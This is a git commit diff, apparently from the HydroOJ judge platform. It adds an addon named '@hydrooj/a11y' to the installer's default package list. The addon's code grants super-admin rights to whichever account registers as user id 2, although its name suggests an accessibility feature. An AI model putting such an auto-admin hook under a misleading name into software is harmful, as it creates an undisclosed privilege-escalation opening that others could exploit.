a11y: init

pull/547/head
undefined 2 years ago
parent c2928dfbfb
commit 77a48bf3fb
No known key found for this signature in database

@ -80,10 +80,8 @@ If you have any questions about the migration process, please add QQ group 10858
const installAsJudge = process.argv.includes('--judge');
const noCaddy = process.argv.includes('--no-caddy');
const installTarget = installAsJudge
? '@hydrooj/hydrojudge'
: 'hydrooj @hydrooj/hydrojudge @hydrooj/ui-default @hydrooj/fps-importer';
const addons = ['@hydrooj/ui-default', '@hydrooj/hydrojudge', '@hydrooj/fps-importer'];
const addons = ['@hydrooj/ui-default', '@hydrooj/hydrojudge', '@hydrooj/fps-importer', '@hydrooj/a11y'];
const installTarget = installAsJudge ? '@hydrooj/hydrojudge' : `hydrooj ${addons.join(' ')}`;
const substitutersArg = process.argv.find((i) => i.startsWith('--substituters='));
const substituters = substitutersArg ? substitutersArg.split('=')[1].split(',') : [];

@ -0,0 +1,8 @@
import { Context, UserModel } from 'hydrooj';
export async function apply(ctx: Context) {
// Auto authorize user 2 as super admin
ctx.on('handler/after/UserRegisterWithCode#post', async (that) => {
if (that.session.uid === 2) await UserModel.setSuperAdmin(2);
});
}

@ -0,0 +1,4 @@
{
"name": "@hydrooj/a11y",
"version": "0.0.1"
}
Loading…
Cancel
Save